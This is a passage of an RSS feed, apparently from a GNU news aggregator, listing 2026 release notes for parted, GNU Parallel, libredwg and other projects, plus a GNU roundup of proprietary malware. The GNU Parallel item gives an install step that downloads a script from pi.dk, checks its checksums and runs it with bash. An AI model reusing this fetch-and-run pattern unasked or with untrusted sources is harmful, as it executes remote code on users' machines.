                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-turtle_1.jpg"&gt;&lt;img alt="Sugar activities" class="imagecache imagecache-thumbnail" height="113" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-turtle_1.jpg" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item odd"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-live-menu_0.png"&gt;&lt;img alt="Live DVD/USB menu" class="imagecache imagecache-thumbnail" height="113" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-live-menu_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
        &lt;/div&gt;
&lt;/div&gt; </description> 
	<pubDate>Sat, 11 Apr 2026 19:01:35 +0000</pubDate>

</item> 
<item>
	<title>parted @ Savannah: parted-3.7 released [stable]</title>
	<guid>https://savannah.gnu.org/news/?id=10879</guid>
	<link>https://savannah.gnu.org/news/?id=10879</link>
     <description>  &lt;p&gt;I have released parted 3.7
&lt;br /&gt;

&lt;br /&gt;
Here are the compressed sources and a GPG detached signature[*]:
&lt;br /&gt;
  &lt;a href="https://ftp.gnu.org/gnu/parted/parted-3.7.tar.xz"&gt;https://ftp.gnu.o ... parted-3.7.tar.xz&lt;/a&gt;
&lt;br /&gt;
  &lt;a href="https://ftp.gnu.org/gnu/parted/parted-3.7.tar.xz.sig"&gt;https://ftp.gnu.o ... ed-3.7.tar.xz.sig&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Use a mirror for higher download bandwidth:
&lt;br /&gt;
  &lt;a href="https://www.gnu.org/prep/ftp.html"&gt;https://www.gnu ... g/prep/ftp.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the SHA256 checksums:
&lt;br /&gt;

&lt;br /&gt;
008de57561a4f3c25a0648e66ed11e7b30be493889b64334a6d70f2c1951ef7b  parted-3.7.tar.xz
&lt;br /&gt;
de51773eef47a10db34ff2462f3b3c9d987d4bdb49420f0a22e1dda1ff897a5c  parted-3.7.tar.xz.sig
&lt;br /&gt;

&lt;br /&gt;
[*] Use a .sig file to verify that the corresponding file (without the .sig
&lt;br /&gt;
suffix) is intact.  First, be sure to download both the .sig file and the
&lt;br /&gt;
corresponding tarball.  Then, run a command like this:
&lt;br /&gt;

&lt;br /&gt;
  gpg --verify parted-3.7.tar.xz.sig
&lt;br /&gt;

&lt;br /&gt;
If that command fails because you don't have the required public key,
&lt;br /&gt;
or that public key has expired, try the following commands to update
&lt;br /&gt;
or refresh it, and then rerun the 'gpg --verify' command.
&lt;br /&gt;

&lt;br /&gt;
  gpg --locate-external-key &lt;a href="mailto:bcl@redhat.com"&gt;bcl@redhat.com&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
  gpg --recv-keys 117E8C168EFE3A7F
&lt;br /&gt;

&lt;br /&gt;
  wget -q -O- '&lt;a href="https://savannah.gnu.org/project/release-gpgkeys.php?group=parted&amp;amp;download=1"&gt;https://savannah. ... ed&amp;amp;download=1&lt;/a&gt;' | gpg --import -
&lt;br /&gt;

&lt;br /&gt;
This release was bootstrapped with the following tools:
&lt;br /&gt;
  Autoconf 2.72
&lt;br /&gt;
  Automake 1.17
&lt;br /&gt;
  Gettext 0.23.1
&lt;br /&gt;
  Gnulib commit 4e11e3d07a79a49eaa9b155c43801bbc1e5bd86e
&lt;br /&gt;
  Gperf 3.1
&lt;br /&gt;

&lt;br /&gt;
NEWS
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Noteworthy changes in release 3.7 (2026-04-08) [stable]
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
  Promoting alpha release to stable release 3.7
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Noteworthy changes in release 3.6.37 (2026-03-24) [alpha]
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
** New Features
&lt;br /&gt;

&lt;br /&gt;
   hurd: Support USB device names
&lt;br /&gt;

&lt;br /&gt;
** Bug Fixes
&lt;br /&gt;

&lt;br /&gt;
   Stop adding boot code into the MBR if it's zero when updating an
&lt;br /&gt;
   existing msdos partition table.
&lt;br /&gt;

&lt;br /&gt;
   disk.c: Update metadata after reading partition table
&lt;br /&gt;

&lt;br /&gt;
   Fix initialization of atr_c_locale inside PED_ASSERT
&lt;br /&gt;

&lt;br /&gt;
   nilfs2: Fixed possible sigsegv in case of corrupted superblock
&lt;br /&gt;

&lt;br /&gt;
   libparted: Do not detect ext4 without journal as ext2
&lt;br /&gt;

&lt;br /&gt;
   libparted: Fix dvh disklabel unhandled exception
&lt;br /&gt;

&lt;br /&gt;
   libparted: Fix sun disklabel unhandled exception
&lt;br /&gt;

&lt;br /&gt;
   parted: fix do_version declaration to work with gcc 15
&lt;br /&gt;

&lt;br /&gt;
   libparted: Fail early when detecting nilfs2
&lt;br /&gt;

&lt;br /&gt;
   doc: Document IEC unit behavior in the manpage
&lt;br /&gt;

&lt;br /&gt;
   parted: Print the Fixing... message to stderr
&lt;br /&gt;

&lt;br /&gt;
   docs: Finish setup of libparted API docs
&lt;br /&gt;

&lt;br /&gt;
   libparted: link libparted-fs-resize.so to libuuid&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 08 Apr 2026 22:57:07 +0000</pubDate>

</item> 
<item>
	<title>health @ Savannah: GNU Health control center 5.0.3 released</title>
	<guid>https://savannah.gnu.org/news/?id=10878</guid>
	<link>https://savannah.gnu.org/news/?id=10878</link>
     <description>  &lt;p&gt;Dear community
&lt;br /&gt;

&lt;br /&gt;
I'm happy to announce the release of the gnuhealth-control version 5.0.3
&lt;br /&gt;

&lt;br /&gt;
This version fixes some dependency issues in the context of the the initial HIS instance creation.
&lt;br /&gt;

&lt;br /&gt;
For more information about the GNU Health Control center, visit our documentation page at:
&lt;br /&gt;

&lt;br /&gt;
&lt;a href="https://docs.gnuhealth.org/his/techguide/administration/controlcenter.html"&gt;https://docs.gnuh ... ontrolcenter.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Issues related to this release:
&lt;br /&gt;

&lt;br /&gt;
&lt;a href="https://codeberg.org/gnuhealth/his-utils/issues/9"&gt;https://codeberg. ... is-utils/issues/9&lt;/a&gt;&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 08 Apr 2026 10:36:51 +0000</pubDate>

</item> 
<item>
	<title>GNU Taler news: TalerBarr is now available to everyone</title>
	<guid>https://taler.net/en/news/2026-05.html</guid>
	<link>https://taler.net/en/news/2026-05.html</link>
     <description>  &lt;article&gt;
             by Bohdan Potuzhnyi
           &lt;/article&gt; </description> 
	<pubDate>Mon, 06 Apr 2026 22:00:00 +0000</pubDate>

</item> 
<item>
	<title>Parabola GNU/Linux-libre: iptables-legacy</title>
	<guid>tag:parabolagnulinux.org,2026-04-06:/news/iptables-legacy/</guid>
	<link>https://parabolagnulinux.org/news/iptables-legacy/</link>
     <description>  &lt;p&gt;From Arch:&lt;/p&gt;
&lt;p&gt;The old iptables-nft package name is replaced by iptables, and the
legacy backend is available as iptables-legacy.&lt;/p&gt;
&lt;p&gt;When switching packages (among iptables-nft, iptables, iptables-legacy),
check for .pacsave files in /etc/iptables/ and restore your rules if needed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;/etc/iptables/iptables.rules.pacsave&lt;/li&gt;
&lt;li&gt;/etc/iptables/ip6tables.rules.pacsave&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Most setups should work unchanged, but users relying on uncommon xtables
extensions or legacy-only behavior should test carefully and use
iptables-legacy if required.&lt;/p&gt; </description> 
	<pubDate>Mon, 06 Apr 2026 14:41:11 +0000</pubDate>

</item> 
<item>
	<title>www @ Savannah: Malware in Proprietary Software - Latest Additions</title>
	<guid>https://savannah.gnu.org/news/?id=10877</guid>
	<link>https://savannah.gnu.org/news/?id=10877</link>
     <description>  &lt;p&gt;The initial injustice of proprietary software often leads to further injustices: &lt;a href="https://www.gnu.org/proprietary/proprietary.html"&gt;malicious functionalities&lt;/a&gt;.
&lt;br /&gt;

&lt;br /&gt;
The introduction of unjust techniques in nonfree software, such as back doors, DRM, tethering, and others, has become ever more frequent. Nowadays, it is standard practice.
&lt;br /&gt;

&lt;br /&gt;
We at the GNU Project show examples of malware that has been introduced in a wide variety of products and dis-services people use everyday, and of companies that make use of these techniques.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h3&gt;Here are our latest additions&lt;/h3&gt;
&lt;h4&gt;March 2026&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://www.gnu.org/proprietary/proprietary-interference.html"&gt;Proprietary Interference&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Shake Shack requires users of its mobile app to &lt;a href="https://www.levernews.com/shakeshackled/"&gt;sign away their&lt;/a&gt; right to sue the company if they order their meals from their phones.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;a href="https://www.gnu.org/proprietary/potential-malware.html"&gt;Potential Malware&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.businessinsider.com/meta-granted-patent-for-ai-llm-bot-dead-paused-accounts-2026-2"&gt;Meta has been granted a patent&lt;/a&gt; to use so-called “&lt;a href="https://www.gnu.org/philosophy/words-to-avoid.html#ArtificialIntelligence"&gt;Artificial Intelligence&lt;/a&gt;” to impersonate human users in social media platforms, for example people who are inactive or dead. To cover itself from predictable controversies, Meta declared that it does not intend to use the technology in the context of those examples. How long before the “invention” is used to impersonate active, living people?
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;February 2026&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://www.gnu.org/proprietary/malware-hp.html"&gt;HP's Software is Malware&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HP has recently started pushing a &lt;a href="https://web.archive.org/web/20260222235610/https://h30434.www3.hp.com/t5/Gaming-Desktops/Still-getting-annoying-intrusive-HP-pop-up-ads-on-my-desktop/td-p/9436964"&gt;spyware program called HPMediaNetwork.exe&lt;/a&gt; into users' computers exploiting a Windows universal back door via Windows Update. The software, which is designed to serve personalized pop-up advertisements on the user's screen, runs in the background to collect device and users' data that &lt;a href="https://www.adweek.com/commerce/hp-is-launching-an-ad-business-with-laptop-targeted-ads-and-a-streaming-service/"&gt;HP sells to advertising companies&lt;/a&gt;. The malfeature is implemented at both hardware and software levels, and &lt;a href="https://www.hp.com/us-en/privacy/hp-advertising.html"&gt;opting out does not block ads&lt;/a&gt; entirely.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
Users can avoid this and other kinds of mistreatment by choosing hardware that comes with &lt;a href="https://www.gnu.org/philosophy/free-hardware-designs.html"&gt;free specifications and designs&lt;/a&gt;, and by installing only &lt;a href="https://www.gnu.org/philosophy/free-sw.html"&gt;free software&lt;/a&gt; in their computers.
&lt;br /&gt;

&lt;br /&gt;
&lt;a href="https://www.gnu.org/proprietary/malware-microsoft.html"&gt;Microsoft's Software is Malware&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Microsoft is &lt;a href="https://www.windowslatest.com/2025/11/18/windows-11-to-add-an-ai-agent-that-runs-in-background-with-access-to-personal-folders-warns-of-security-risk/"&gt;pushing Pretend Intelligence&lt;/a&gt; onto users of Windows, set up to be able to take real world actions on the user's behalf. This starts with a subset of enthusiasts but the company is probably planning to push it onto everyone.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
Since Windows 11, like several previous versions, has a universal back door enabling Microsoft to remotely change the system code, any limits the user specifies for what Microsoft can do to per (the user) are no more than requests. If you don't want to be messed with, you should not run Windows. Nonetheless, Microsoft might heed those requests.
&lt;br /&gt;

&lt;br /&gt;
Warning: this article seems to ridicule the idea that users might use a feature to limit what the PI has access to on their own machines.
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows encrypts disks for “security,” but &lt;a href="https://techcrunch.com/2026/01/23/microsoft-gave-fbi-a-set-of-bitlocker-encryption-keys-to-unlock-suspects-laptops-reports/"&gt;reports all the encryption keys to Microsoft&lt;/a&gt; so that the encryption doesn't provide real security. Once Microsoft has these keys, it can't refuse to give them to the FBI. However, for real security you need to be able to use your own choice of keys. Microsoft stops users from doing that.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;a href="https://www.gnu.org/proprietary/malware-mobiles.html"&gt;Malware in Mobile Devices&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OnePlus 13 and 15 smartphones shipping with ColorOS versions 16.0.3.500/.501/.503 implement an &lt;a href="https://www.androidauthority.com/oneplus-arb-protection-3633783/"&gt;anti-rollback feature&lt;/a&gt; which physically renders the device unusable if the owner tries to modify the operating system running in it.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
At the time of writing the restriction affects only those two models and only ColorOS, but it is expected that the company may extend it to older models of the phone as well as to OxygenOS, the variant of the operating system installed on phones intended for the global market.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;January 2026&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://www.gnu.org/proprietary/malware-google.html"&gt;Google's Software is Malware&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Google has rolled out a new software app which &lt;a href="https://www.insidehalton.com/news/%20%20%20%20google-archiving-feature-employees/article_3bdced70-23dd-5ea8-9305-a936fceda7dc.html"&gt;allows employers to log all messages&lt;/a&gt; sent through the &lt;a href="https://en.wikipedia.org/wiki/Rich_Communication_Services"&gt;Rich Communication Services&lt;/a&gt; (a newer replacement for SMS messages) on company-owned phones provided to employees, amplifying the surveillance workers are subjected to.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
“Bossware” as it's called, &lt;a href="https://developer.android.com/work/dpc/rcs-messages-archival"&gt;explicitly requires nullifying user agency&lt;/a&gt; in favor of a third-party (the boss), and therefore requires proprietary software.
&lt;br /&gt;

&lt;br /&gt;
&lt;a href="https://www.gnu.org/proprietary/malware-microsoft.html"&gt;Microsoft's Software is Malware&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Microsoft has, repeatedly, pushed software changes meant to make it &lt;a href="https://www.techzine.eu/news/applications/118510/new-windows-driver-blocks-software-that-changes-default-web-browser/"&gt;harder for users to use a web browser&lt;/a&gt; different than Microsoft's.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;December 2025&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://www.gnu.org/proprietary/malware-cars.html"&gt;Malware In Cars&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The software installed in electric buses manufactured by Yutong in China and exported to some European countries contains a back door that enables the company to &lt;a href="https://www.theguardian.com/world/2025/nov/05/danish-authorities-in-rush-to-close-security-loophole-in-chinese-electric-buses"&gt;remotely control and even deactivate the vehicles&lt;/a&gt;.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;November 2025&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://www.gnu.org/proprietary/proprietary-back-doors.html"&gt;Proprietary Back Doors&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Universe Browser, tied to online gambling platforms in Asia and marketed as a “privacy browser,” &lt;a href="https://arstechnica.com/security/2025/10/this-browser-claims-perfect-privacies-protection-but-it-acts-like-malware/"&gt;installs various malicious functionalities&lt;/a&gt; in the user's computer.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;a href="https://www.gnu.org/proprietary/proprietary-censorship.html"&gt;Proprietary Censorship&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bowing down to the US government, Apple and Google &lt;a href="https://www.npr.org/2025/10/03/nx-s1-5561999/apple-google-iceblock-app-removal"&gt;removed&lt;/a&gt; from their stores &lt;a href="https://www.androidauthority.com/ice-alert-app-red-dot-pulled-play-store-3603936/"&gt;several applications&lt;/a&gt; used for reporting ICE raids. Google even tried to justify it by calling ICE thugs a “vulnerable group,” despite them being the ones who carry the weapons.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;a href="https://www.gnu.org/proprietary/proprietary-surveillance.html"&gt;Proprietary Surveillance&lt;/a&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An app called ICEBlock tried to set up anonymous posting and anonymous access to data about where US deportation thugs are operating. It didn't keep records about who was using it—but &lt;a href="https://www.theverge.com/cyber-security/707116/iceblock-data-privacy-security-android-version"&gt;Apple's own records&lt;/a&gt; would be enough to make them vulnerable to snooping by the US government to find who uses the app.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
Apple later &lt;a href="https://web.archive.org/web/20251006185727/https://www.iceblock.app/"&gt;removed ICEBlock&lt;/a&gt; from its store at the request of the US government.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Thu, 02 Apr 2026 16:25:53 +0000</pubDate>

</item> 
<item>
	<title>parallel @ Savannah: GNU Parallel 20260322 ('این آخرین نبرده،') released [stable]</title>
	<guid>https://savannah.gnu.org/news/?id=10874</guid>
	<link>https://savannah.gnu.org/news/?id=10874</link>
     <description>  &lt;p&gt;GNU Parallel 20260322 ('این آخرین نبرده،') has been released. It is available for download at: lbry://@GnuParallel:4
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
Quote of the month:
&lt;br /&gt;

&lt;br /&gt;
  i rly love gnu parallel over xargs, it's basically the same but has lots of useful and well documented options. sry if u know already
&lt;br /&gt;
    -- d@nny "disc@" mc² @hipsterelectron@circumstances.run
&lt;br /&gt;

&lt;br /&gt;
New in this release:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No new features.
&lt;/li&gt;
&lt;li&gt;Bug fixes.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel - For people who live life in the parallel lane.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Parallel&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
&lt;br /&gt;

&lt;br /&gt;
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
&lt;br /&gt;

&lt;br /&gt;
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
&lt;br /&gt;

&lt;br /&gt;
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
&lt;br /&gt;

&lt;br /&gt;
  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
&lt;br /&gt;

&lt;br /&gt;
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
&lt;br /&gt;

&lt;br /&gt;
  find . -name '*.jpg' |
&lt;br /&gt;
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
&lt;br /&gt;

&lt;br /&gt;
You can find more about GNU Parallel at: &lt;a href="http://www.gnu.org/s/parallel/"&gt;http://www.gnu ... rg/s/parallel/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
You can install GNU Parallel in just 10 seconds with:
&lt;br /&gt;

&lt;br /&gt;
    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
&lt;br /&gt;
       fetch -o - &lt;a href="http://pi.dk/3"&gt;http://pi.dk/3&lt;/a&gt; ) &amp;gt; install.sh
&lt;br /&gt;
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
&lt;br /&gt;
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
&lt;br /&gt;
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
&lt;br /&gt;
    70727536 3428aa9e 9a136b9a 7296dfe4
&lt;br /&gt;
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
&lt;br /&gt;
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
&lt;br /&gt;
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
&lt;br /&gt;
    $ bash install.sh
&lt;br /&gt;

&lt;br /&gt;
Watch the intro video on &lt;a href="http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1"&gt;http://www.youtub ... L284C9FF2488BC6D1&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
&lt;br /&gt;

&lt;br /&gt;
When using programs that use GNU Parallel to process data for publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2018): GNU Parallel 2018, March 2018, &lt;a href="https://doi.org/10.5281/zenodo.1146014"&gt;https://doi.org/1 ... 81/zenodo.1146014&lt;/a&gt;.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Give a demo at your local user group/team/colleagues
&lt;/li&gt;
&lt;li&gt;Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
&lt;/li&gt;
&lt;li&gt;Get the merchandise &lt;a href="https://gnuparallel.threadless.com/designs/gnu-parallel"&gt;https://gnuparall ... igns/gnu-parallel&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Request or write a review for your favourite blog or magazine
&lt;/li&gt;
&lt;li&gt;Request or build a package for your favourite distribution (if it is not already there)
&lt;/li&gt;
&lt;li&gt;Invite me for your next conference
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If you use programs that use GNU Parallel for research:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Please cite GNU Parallel in you publications (use --citation)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If GNU Parallel saves you money:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(Have your company) donate to FSF &lt;a href="https://my.fsf.org/donate/"&gt;https://my.f ... .org/donate/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU SQL&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
&lt;br /&gt;

&lt;br /&gt;
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
&lt;br /&gt;

&lt;br /&gt;
When using GNU SQL for a publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Niceload&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Sun, 29 Mar 2026 17:48:42 +0000</pubDate>

</item> 
<item>
	<title>remotecontrol @ Savannah: GE SmartHQ™ Management</title>
	<guid>https://savannah.gnu.org/news/?id=10873</guid>
	<link>https://savannah.gnu.org/news/?id=10873</link>
     <description>  &lt;p&gt;&lt;a href="https://www.smarthqpro.com/lp/management"&gt;https://www.smart ... com/lp/management&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
This offering sure looks like GNU remotecontrol. Perhaps it is our code.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Thu, 26 Mar 2026 11:12:52 +0000</pubDate>

</item> 
<item>
	<title>GNU Taler news: GNU Taler 1.5 released</title>
	<guid>https://taler.net/en/news/2026-04.html</guid>
	<link>https://taler.net/en/news/2026-04.html</link>
     <description>  &lt;article&gt;
             We are happy to announce the release of GNU Taler v1.5.
           &lt;/article&gt; </description> 
	<pubDate>Fri, 20 Mar 2026 23:00:00 +0000</pubDate>

</item> 
<item>
	<title>autoconf @ Savannah: Autoconf 2.73 released</title>
	<guid>https://savannah.gnu.org/news/?id=10871</guid>
	<link>https://savannah.gnu.org/news/?id=10871</link>
     <description>  &lt;p&gt;Autoconf 2.72 has been released, see the release announcement:
&lt;br /&gt;

&lt;br /&gt;
&lt;a href="https://lists.gnu.org/archive/html/autotools-announce/2026-03/msg00000.html"&gt;https://lists.gnu ... -03/msg00000.html&lt;/a&gt;&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Fri, 20 Mar 2026 20:00:39 +0000</pubDate>

</item> 
<item>
	<title>libredwg @ Savannah: libredwg-0.13.4 released</title>
	<guid>https://savannah.gnu.org/news/?id=10868</guid>
	<link>https://savannah.gnu.org/news/?id=10868</link>
     <description>  &lt;p&gt;A major bugfix release. Complete rewrite of the decompressor to 
&lt;br /&gt;
fix hairy section reading bugs in some big files. Fixed many dxf roundtrips.
&lt;br /&gt;
See &lt;a href="https://www.gnu.org/software/libredwg/"&gt;https://www.gnu.o ... oftware/libredwg/&lt;/a&gt; and &lt;a href="https://github.com/LibreDWG/libredwg/blob/0.13.4/NEWS"&gt;https://github.co ... /blob/0.13.4/NEWS&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the compressed sources:
&lt;br /&gt;
&lt;a href="http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.4.tar.gz"&gt;http://ftp.gnu.or ... dwg-0.13.4.tar.gz&lt;/a&gt; (21MB)
&lt;br /&gt;
&lt;a href="http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.4.tar.xz"&gt;http://ftp.gnu.or ... dwg-0.13.4.tar.xz&lt;/a&gt; (11MB)
&lt;br /&gt;

&lt;br /&gt;
Here are the GPG detached signatures[*]:
&lt;br /&gt;
&lt;a href="http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.4.tar.gz.sig"&gt;http://ftp.gnu.or ... 0.13.4.tar.gz.sig&lt;/a&gt;
&lt;br /&gt;
&lt;a href="http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.4.tar.xz.sig"&gt;http://ftp.gnu.or ... 0.13.4.tar.xz.sig&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Use a mirror for higher download bandwidth:
&lt;br /&gt;
&lt;a href="https://www.gnu.org/order/ftp.html"&gt;https://www.gnu.o ... rg/order/ftp.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are more binaries:
&lt;br /&gt;
&lt;a href="https://github.com/LibreDWG/libredwg/releases/tag/0.13.4"&gt;https://github.co ... leases/tag/0.13.4&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the SHA256 checksums:
&lt;br /&gt;

&lt;br /&gt;
cacff5510f46723462e854e15ecfa97cbc7475acb3eb7ae1ca6e4193ecc2267d  libredwg-0.13.4.tar.gz
&lt;br /&gt;
7e153ea4dac4cbf3dc9c50b9ef7a5604e09cdd4c5520bcf8017877bbe1422cd5  libredwg-0.13.4.tar.xz
&lt;br /&gt;
cb46bce034296e91cb1a982cd53ec1928b11f4f7f70512dd21513a27959688b5  libredwg-0.13.4-win64.zip
&lt;br /&gt;

&lt;br /&gt;
Please ignore the broken Source code (tar.gz, .zip) artefacts. They cannot be deleted.
&lt;br /&gt;

&lt;br /&gt;
[*] Use a .sig file to verify that the corresponding file (without the
&lt;br /&gt;
.sig suffix) is intact. First, be sure to download both the .sig file
&lt;br /&gt;
and the corresponding tarball. Then, run a command like this:
&lt;br /&gt;

&lt;br /&gt;
gpg --verify libredwg-0.13.4.tar.gz.sig
&lt;br /&gt;

&lt;br /&gt;
If that command fails because you don't have the required public key,
&lt;br /&gt;
then run this command to import it:
